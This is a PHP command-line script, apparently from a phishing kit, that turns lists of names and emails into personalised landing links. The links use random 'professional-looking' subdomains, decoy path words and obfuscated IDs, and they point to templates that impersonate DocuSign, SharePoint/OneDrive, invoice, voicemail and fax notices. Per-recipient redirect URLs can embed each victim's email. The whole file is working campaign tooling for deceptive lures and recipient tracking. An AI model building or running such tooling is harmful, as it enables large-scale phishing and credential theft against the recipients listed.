²ιΏ΄/±ΰΌ ΄ϊΒλ
ΔΪΘέ
#!/usr/bin/env php <?php /** * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * STANDALONE LINK GENERATOR * Complete standalone tool to generate personalized landing links * Replaces sender integration - generates links and exports to CSV * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * * Usage: * php generate_links.php --input=recipients.csv --output=links.csv * php generate_links.php --input=recipients.csv --template=docusign --redirect_url='https://example.com/${emailb64}' * php generate_links.php --interactive * * Input CSV format (minimum): * NAME,EMAIL * John Doe,john@example.com * * Input CSV format (full): * NAME,EMAIL,FIRSTNAME,LASTNAME,COMPANY,TEMPLATE,REDIRECT_URL * * Output CSV format: * NAME,EMAIL,LINK */ require_once __DIR__ . '/config.php'; require_once CORE_PATH . '/database.php'; require_once CORE_PATH . '/url_processor.php'; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // AVAILABLE TEMPLATES (from templates/landing/) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $AVAILABLE_TEMPLATES = [ 'document' => 'Generic document sharing', 'docusign' => 'DocuSign signature request', 'sharepoint' => 'SharePoint/OneDrive file', 'invoice' => 'Invoice/payment document', 'voicemail' => 'Voicemail notification', 'fax' => 'Fax/eFax document', 'shipping' => 'Shipping/delivery notice', 'meeting' => 'Meeting invitation', 'legal' => 'Legal document', 'secure-file' => 'Secure file transfer', 'realestate' => 'Real estate document', 'construction'=> 'Construction/contract document', ]; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // URL CONFIGURATION // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Set to empty string to use base domain without subdomain // Set to a specific subdomain if needed (e.g., 'web', 'portal', 'app') // For wildcard DNS setups, use random subdomains for variety $DEFAULT_SUBDOMAIN = 'random'; // 'random' = random subdomain, empty = base domain only // Landing page paths (avoid 'secure', 'continue', 'shared', 'download' - reserved routes) $PATH_WORDS = [ 'documents', 'docs', 'files', 'records', 'archive', 'view', 'access', 'open', 'preview', 'storage', 'drive', 'cloud', 'vault', 'library', 'portal', 'workspace', 'hub', 'center', 'office', 'content', 'media', 'resources', 'assets', 'data', 'inbox', 'forms', 'report', 'review' ]; /** * Get random path from word list */ function getRandomPath() { global $PATH_WORDS; return $PATH_WORDS[array_rand($PATH_WORDS)]; } /** * Generate obfuscated ID * Format: {4 lowercase hex}{actual_id}{4 UPPERCASE hex} */ function obfuscateId($id) { $prefix = substr(bin2hex(random_bytes(2)), 0, 4); // lowercase $suffix = strtoupper(substr(bin2hex(random_bytes(2)), 0, 4)); // UPPERCASE return $prefix . $id . $suffix; } /** * Generate a unique recipient ID */ function generateRecipientId($email) { return substr(md5($email . microtime(true) . bin2hex(random_bytes(4))), 0, 12); } // Random subdomains for variety (professional-looking) $SUBDOMAINS = [ 'secure', 'portal', 'app', 'my', 'cloud', 'docs', 'files', 'share', 'access', 'mail', 'web', 'online', 'mobile', 'connect', 'go', 'get' ]; /** * Get random subdomain */ function getRandomSubdomain() { global $SUBDOMAINS; return $SUBDOMAINS[array_rand($SUBDOMAINS)]; } /** * Build landing URL */ function buildLandingUrl($id, $customPath = null, $subdomain = null) { global $DEFAULT_SUBDOMAIN; $pathWord = $customPath ?? getRandomPath(); $obfuscatedId = obfuscateId($id); $baseDomain = SITE_DOMAIN; // Determine subdomain $sub = $subdomain ?? $DEFAULT_SUBDOMAIN; // Handle 'random' as special value if ($sub === 'random') { $sub = getRandomSubdomain(); } if (!empty($sub)) { return 'https://' . $sub . '.' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; } else { return 'https://' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; } } /** * Parse command line arguments */ function parseArgs($argv) { $args = [ 'input' => null, 'output' => 'generated_links.csv', 'json' => null, 'template' => 'document', 'redirect_url' => null, 'path' => null, 'subdomain' => null, 'interactive' => false, 'help' => false, 'no-db' => false, 'list-templates' => false, ]; foreach ($argv as $arg) { if (strpos($arg, '--') === 0) { $arg = substr($arg, 2); if (strpos($arg, '=') !== false) { list($key, $value) = explode('=', $arg, 2); $args[$key] = $value; } else { $args[$arg] = true; } } } return $args; } /** * Display help message */ function showHelp() { global $AVAILABLE_TEMPLATES; $templateList = ""; foreach ($AVAILABLE_TEMPLATES as $name => $desc) { $templateList .= " $name" . str_repeat(' ', 14 - strlen($name)) . "- $desc\n"; } echo <<<HELP βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ STANDALONE LINK GENERATOR Complete replacement for sender integration βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ USAGE: php generate_links.php [OPTIONS] OPTIONS: --input=FILE Input CSV file (NAME,EMAIL format minimum) --output=FILE Output CSV file (default: generated_links.csv) --json='[...]' JSON array of recipients --template=NAME Landing template (default: document) --redirect_url=URL Redirect URL with placeholders --path=PATH Fixed URL path (default: random) --subdomain=SUB Subdomain to use (default: none/base domain) --no-db Generate links without database storage --list-templates Show available templates --interactive Interactive mode --help Show this help message AVAILABLE TEMPLATES: $templateList INPUT CSV FORMAT (minimum): NAME,EMAIL John Doe,john@example.com Jane Smith,jane@example.com INPUT CSV FORMAT (full - per-recipient settings): NAME,EMAIL,FIRSTNAME,LASTNAME,COMPANY,TEMPLATE,REDIRECT_URL John Doe,john@example.com,John,Doe,Acme Corp,docusign,https://portal.com/\${emailb64} OUTPUT CSV FORMAT: NAME,EMAIL,LINK John Doe,john@example.com,https://domain.com/documents/a1b2ID123C4D5 REDIRECT URL PLACEHOLDERS: \${email} - Raw email address \${emailb64} - Base64 encoded email (URL-safe) \${emailmd5} - MD5 hash of email \${emailsha1} - SHA1 hash of email \${emailurl} - URL encoded email \${name} - Full name \${firstname} - First name \${lastname} - Last name \${company} - Company name \${domain} - Email domain \${id} - Recipient ID \${timestamp} - Unix timestamp \${date} - Date (Y-m-d) \${random} - Random hex string \${uuid} - UUID v4 EXAMPLES: # Basic - generate from CSV with default template php generate_links.php --input=contacts.csv --output=links.csv # With specific template php generate_links.php --input=contacts.csv --template=docusign # With custom redirect URL php generate_links.php --input=contacts.csv --redirect_url='https://login.example.com/\${emailb64}' # Interactive mode (enter recipients manually) php generate_links.php --interactive # From JSON php generate_links.php --json='[{"name":"John","email":"john@test.com"}]' # List available templates php generate_links.php --list-templates βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ HELP; } /** * List available templates */ function listTemplates() { global $AVAILABLE_TEMPLATES; echo "\nβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n"; echo " AVAILABLE LANDING TEMPLATES\n"; echo "βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n"; foreach ($AVAILABLE_TEMPLATES as $name => $desc) { $file = TEMPLATES_PATH . '/landing/' . $name . '.html'; $exists = file_exists($file) ? 'β' : 'β'; echo " [$exists] $name\n"; echo " $desc\n"; echo " File: templates/landing/$name.html\n\n"; } } /** * Read recipients from CSV file */ function readCsvInput($filename) { if (!file_exists($filename)) { throw new Exception("Input file not found: $filename"); } $recipients = []; $handle = fopen($filename, 'r'); if (!$handle) { throw new Exception("Could not open file: $filename"); } // Read header row $header = fgetcsv($handle); if (!$header) { fclose($handle); throw new Exception("Empty CSV file"); } // Normalize header names $header = array_map(function($h) { return strtolower(trim($h)); }, $header); // Find column indices $columns = [ 'name' => array_search('name', $header), 'email' => array_search('email', $header), 'firstname' => array_search('firstname', $header), 'lastname' => array_search('lastname', $header), 'company' => array_search('company', $header), 'template' => array_search('template', $header), 'redirect_url' => array_search('redirect_url', $header), ]; if ($columns['email'] === false) { fclose($handle); throw new Exception("CSV must have an EMAIL column"); } // Read data rows $lineNum = 1; while (($row = fgetcsv($handle)) !== false) { $lineNum++; $email = isset($row[$columns['email']]) ? trim($row[$columns['email']]) : ''; if (empty($email)) { echo " Warning: Skipping line $lineNum (empty email)\n"; continue; } // Validate email format if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo " Warning: Skipping line $lineNum (invalid email: $email)\n"; continue; } $recipient = ['email' => $email]; // Get name if ($columns['name'] !== false && isset($row[$columns['name']]) && !empty(trim($row[$columns['name']]))) { $recipient['name'] = trim($row[$columns['name']]); } else { // Try to construct from firstname/lastname $firstname = ($columns['firstname'] !== false && isset($row[$columns['firstname']])) ? trim($row[$columns['firstname']]) : ''; $lastname = ($columns['lastname'] !== false && isset($row[$columns['lastname']])) ? trim($row[$columns['lastname']]) : ''; if (!empty($firstname) || !empty($lastname)) { $recipient['name'] = trim($firstname . ' ' . $lastname); } else { $recipient['name'] = ucfirst(explode('@', $email)[0]); } } // Optional fields if ($columns['firstname'] !== false && isset($row[$columns['firstname']])) { $recipient['firstname'] = trim($row[$columns['firstname']]); } if ($columns['lastname'] !== false && isset($row[$columns['lastname']])) { $recipient['lastname'] = trim($row[$columns['lastname']]); } if ($columns['company'] !== false && isset($row[$columns['company']])) { $recipient['company'] = trim($row[$columns['company']]); } if ($columns['template'] !== false && isset($row[$columns['template']]) && !empty(trim($row[$columns['template']]))) { $recipient['template'] = trim($row[$columns['template']]); } if ($columns['redirect_url'] !== false && isset($row[$columns['redirect_url']]) && !empty(trim($row[$columns['redirect_url']]))) { $recipient['redirect_url'] = trim($row[$columns['redirect_url']]); } // Extract domain from email $recipient['domain'] = explode('@', $email)[1]; $recipients[] = $recipient; } fclose($handle); return $recipients; } /** * Read recipients from JSON string */ function readJsonInput($jsonString) { $data = json_decode($jsonString, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception("Invalid JSON: " . json_last_error_msg()); } if (!is_array($data)) { throw new Exception("JSON must be an array of recipients"); } $recipients = []; foreach ($data as $idx => $item) { if (empty($item['email'])) { echo " Warning: Skipping item $idx (no email)\n"; continue; } $email = trim($item['email']); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo " Warning: Skipping item $idx (invalid email: $email)\n"; continue; } $recipient = [ 'email' => $email, 'name' => $item['name'] ?? ucfirst(explode('@', $email)[0]), 'firstname' => $item['firstname'] ?? null, 'lastname' => $item['lastname'] ?? null, 'company' => $item['company'] ?? null, 'template' => $item['template'] ?? null, 'redirect_url' => $item['redirect_url'] ?? null, 'domain' => explode('@', $email)[1], ]; // If no name but has firstname/lastname, construct it if (empty($item['name']) && (!empty($item['firstname']) || !empty($item['lastname']))) { $recipient['name'] = trim(($item['firstname'] ?? '') . ' ' . ($item['lastname'] ?? '')); } $recipients[] = $recipient; } return $recipients; } /** * Interactive mode - get recipients from user input */ function readInteractiveInput($globalOptions) { global $AVAILABLE_TEMPLATES; $recipients = []; echo "\nβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n"; echo " INTERACTIVE MODE\n"; echo "βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n"; // Show current settings echo "Current settings:\n"; echo " Template: " . ($globalOptions['template'] ?? 'document') . "\n"; echo " Redirect URL: " . ($globalOptions['redirect_url'] ?? FINAL_REDIRECT_URL) . "\n"; echo "\nEnter recipients (empty email to finish):\n"; echo str_repeat('-', 60) . "\n\n"; $count = 1; while (true) { echo "Recipient #$count:\n"; echo " Email: "; $email = trim(fgets(STDIN)); if (empty($email)) { break; } if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo " Invalid email format. Try again.\n\n"; continue; } echo " Name (Enter for default): "; $name = trim(fgets(STDIN)); if (empty($name)) { $name = ucfirst(explode('@', $email)[0]); } echo " Template (Enter for global setting): "; $template = trim(fgets(STDIN)); $recipient = [ 'email' => $email, 'name' => $name, 'domain' => explode('@', $email)[1], ]; if (!empty($template) && isset($AVAILABLE_TEMPLATES[$template])) { $recipient['template'] = $template; } $recipients[] = $recipient; echo " β Added: $name <$email>\n\n"; $count++; } return $recipients; } /** * Write results to CSV file */ function writeCsvOutput($filename, $results) { $handle = fopen($filename, 'w'); if (!$handle) { throw new Exception("Could not create output file: $filename"); } // Write header fputcsv($handle, ['NAME', 'EMAIL', 'LINK']); // Write data rows foreach ($results as $row) { fputcsv($handle, [$row['name'], $row['email'], $row['link']]); } fclose($handle); } /** * Generate links for recipients */ function generateLinks($recipients, $options = []) { $results = []; $db = null; $storeInDb = !($options['no-db'] ?? false); if ($storeInDb) { try { $db = database(); } catch (Exception $e) { echo " Warning: Database unavailable, generating links without storage\n"; $storeInDb = false; } } $globalTemplate = $options['template'] ?? 'document'; $globalRedirectUrl = $options['redirect_url'] ?? null; $customPath = $options['path'] ?? null; $subdomain = $options['subdomain'] ?? null; foreach ($recipients as $recipient) { $email = $recipient['email']; $name = $recipient['name']; // Use per-recipient template if set, otherwise global $template = $recipient['template'] ?? $globalTemplate; // Use per-recipient redirect URL if set, otherwise global $redirectUrl = $recipient['redirect_url'] ?? $globalRedirectUrl; // Generate unique ID $id = generateRecipientId($email); // Store in database if enabled if ($storeInDb && $db) { try { $db->createRecipient([ 'id' => $id, 'email' => $email, 'name' => $name, 'firstname' => $recipient['firstname'] ?? null, 'lastname' => $recipient['lastname'] ?? null, 'company' => $recipient['company'] ?? null, 'domain' => $recipient['domain'] ?? null, 'template' => $template, 'redirect_url' => $redirectUrl, ]); } catch (Exception $e) { echo " Warning: Failed to store $email in database: " . $e->getMessage() . "\n"; } } // Build landing URL $link = buildLandingUrl($id, $customPath, $subdomain); $results[] = [ 'name' => $name, 'email' => $email, 'link' => $link, 'id' => $id, 'template' => $template, ]; } return $results; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // MAIN EXECUTION // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Check if running from command line if (php_sapi_name() !== 'cli') { die("This script must be run from the command line.\n"); } // Parse arguments $args = parseArgs($argv); // Show help if requested if ($args['help']) { showHelp(); exit(0); } // List templates if requested if ($args['list-templates']) { listTemplates(); exit(0); } echo "\nβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n"; echo " STANDALONE LINK GENERATOR\n"; echo "βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n"; // Show configuration echo "Configuration:\n"; echo " Domain: " . SITE_DOMAIN . "\n"; echo " Template: " . ($args['template'] ?? 'document') . "\n"; echo " Redirect URL: " . ($args['redirect_url'] ?? FINAL_REDIRECT_URL) . "\n"; echo " Subdomain: " . ($args['subdomain'] ?: '(none - using base domain)') . "\n"; echo " Database: " . ($args['no-db'] ? 'Disabled' : 'Enabled') . "\n"; echo str_repeat('-', 75) . "\n\n"; try { $recipients = []; // Get recipients from input source if ($args['interactive']) { $recipients = readInteractiveInput($args); } elseif ($args['json']) { echo "Reading from JSON input...\n"; $recipients = readJsonInput($args['json']); } elseif ($args['input']) { echo "Reading from CSV file: {$args['input']}\n"; $recipients = readCsvInput($args['input']); } else { echo "No input specified. Use --help for usage information.\n"; echo "\nQuick examples:\n"; echo " php generate_links.php --input=contacts.csv\n"; echo " php generate_links.php --interactive\n"; echo " php generate_links.php --list-templates\n\n"; exit(1); } if (empty($recipients)) { echo "\nNo valid recipients found.\n"; exit(1); } echo "\nFound " . count($recipients) . " recipient(s).\n"; echo "Generating links...\n\n"; // Generate links $options = [ 'template' => $args['template'], 'redirect_url' => $args['redirect_url'], 'path' => $args['path'], 'subdomain' => $args['subdomain'], 'no-db' => $args['no-db'], ]; $results = generateLinks($recipients, $options); // Display results echo "Generated links:\n"; echo str_repeat('-', 75) . "\n"; foreach ($results as $result) { echo " {$result['name']} <{$result['email']}>\n"; echo " Template: {$result['template']}\n"; echo " Link: {$result['link']}\n\n"; } // Write to CSV $outputFile = $args['output']; writeCsvOutput($outputFile, $results); echo str_repeat('=', 75) . "\n"; echo "SUCCESS!\n"; echo " Generated: " . count($results) . " link(s)\n"; echo " Output: $outputFile\n"; echo " Database: " . ($args['no-db'] ? 'Links NOT stored (use without --no-db to store)' : 'Links stored') . "\n"; echo str_repeat('=', 75) . "\n\n"; } catch (Exception $e) { echo "\nERROR: " . $e->getMessage() . "\n\n"; exit(1); }